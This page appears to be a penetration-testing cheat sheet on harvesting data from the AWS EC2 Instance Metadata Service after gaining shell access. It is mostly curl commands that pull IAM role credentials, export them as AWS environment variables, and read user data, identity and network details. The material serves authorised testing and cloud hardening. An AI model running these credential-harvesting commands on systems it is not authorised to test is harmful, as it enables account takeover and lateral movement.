Skip to content

EC2 Instance Metadata Service (IMDS)

3 min read Created May 24, 2026 Last updated May 24, 2026

When you have shell access on an EC2 instance, IMDS at 169.254.169.254 is the first stop. It exposes IAM role credentials, instance identity, network config, and user data: all without any AWS credentials.

  • Temporary IAM credentials via /iam/security-credentials/
  • Account ID and region from the instance identity document
  • User data scripts that may contain bootstrap secrets or config files
  • VPC ID, subnet ID, and security group names from network metadata

Check IMDS Version

user@host ~ $ curl -s http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
hostname
iam/
instance-id
local-ipv4
public-ipv4
user@host ~ $ TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
user@host ~ $ curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

IAM Role Credentials

user@host ~ $ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
WebAppRole
user@host ~ $ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole
{
    "Code": "Success",
    "AccessKeyId": "ASIA...",
    "SecretAccessKey": "...",
    "Token": "...",
    "Expiration": "2024-01-01T06:00:00Z"
}
user@host ~ $ export AWS_ACCESS_KEY_ID=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole | python3 -c "import sys,json;d=json.load(sys.stdin);print(d['AccessKeyId'])")
user@host ~ $ export AWS_SECRET_ACCESS_KEY=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole | python3 -c "import sys,json;d=json.load(sys.stdin);print(d['SecretAccessKey'])")
user@host ~ $ export AWS_SESSION_TOKEN=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole | python3 -c "import sys,json;d=json.load(sys.stdin);print(d['Token'])")

Instance Identity

user@host ~ $ curl -s http://169.254.169.254/latest/dynamic/instance-identity/document
{
    "accountId": "123456789012",
    "instanceId": "i-0abc1234567890abc",
    "instanceType": "t3.medium",
    "privateIp": "10.0.1.100",
    "region": "us-east-1"
}

User Data

user@host ~ $ curl -s http://169.254.169.254/latest/user-data
user@host ~ $ curl -s http://169.254.169.254/latest/user-data | base64 -d

Network and Host Information

user@host ~ $ curl -s http://169.254.169.254/latest/meta-data/hostname
user@host ~ $ curl -s http://169.254.169.254/latest/meta-data/local-ipv4
user@host ~ $ curl -s http://169.254.169.254/latest/meta-data/public-ipv4
user@host ~ $ curl -s http://169.254.169.254/latest/meta-data/security-groups
user@host ~ $ MAC=$(curl -s http://169.254.169.254/latest/meta-data/mac)
user@host ~ $ curl -s http://169.254.169.254/latest/meta-data/network/interfaces/macs/$MAC/vpc-id
user@host ~ $ curl -s http://169.254.169.254/latest/meta-data/network/interfaces/macs/$MAC/subnet-id

IMDSv2 Wrapper

user@host ~ $ TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
user@host ~ $ alias imds='curl -s -H "X-aws-ec2-metadata-token: $TOKEN"'
 
user@host ~ $ imds http://169.254.169.254/latest/meta-data/iam/security-credentials/
user@host ~ $ imds http://169.254.169.254/latest/user-data
user@host ~ $ imds http://169.254.169.254/latest/dynamic/instance-identity/document